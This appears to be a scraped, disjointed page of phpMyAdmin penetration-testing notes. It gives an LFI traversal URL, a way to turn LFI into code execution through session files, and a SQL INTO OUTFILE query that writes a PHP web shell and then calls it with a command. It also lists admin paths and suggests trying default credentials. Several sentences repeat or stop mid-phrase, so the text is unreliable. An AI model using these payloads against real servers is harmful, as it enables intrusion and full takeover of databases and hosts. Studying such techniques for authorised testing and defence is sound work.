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Credentials are hardcoded in config.inc.php . Anyone navigating to the URL is automatically logged in. If this file is exposed or readable via Local File Inclusion (LFI), the database is entirely compromised.

Identifying the exact version of phpMyAdmin is critical for finding publicly known CVEs. You can locate the version via: Often visible in the footer or page source.

http://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../shell.php phpmyadmin hacktricks verified

You can turn this LFI into code execution by executing a SQL query containing a PHP payload (e.g., SELECT ''; ), finding your current PHP session ID via cookies, and including the session file located in /var/lib/php/sessions/sess_[YOUR_SESSION_ID] . Executing Arbitrary SQL Queries

A significant number of phpMyAdmin installations are left with default or weak credentials. During an assessment, testers should always attempt a set of common credential combinations: Credentials are hardcoded in config

In some versions of PHPMyAdmin, the token parameter is vulnerable to remote code execution.

If the database has write permissions to the web root directory and secure_file_priv is disabled (empty), you can drop a persistent PHP web shell: Identifying the exact version of phpMyAdmin is critical

/phpmyadmin/ /pma/ /dbadmin/ /myadmin/ /phpMyAdmin/ /MySQL-Admin/ /phpmyadmin2/ /phpmyadmin3/ /pma_db/

: Restrict access to phpMyAdmin to trusted IP addresses or through VPNs.

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php"

Then call: POST /shell.php with cmd=system('id');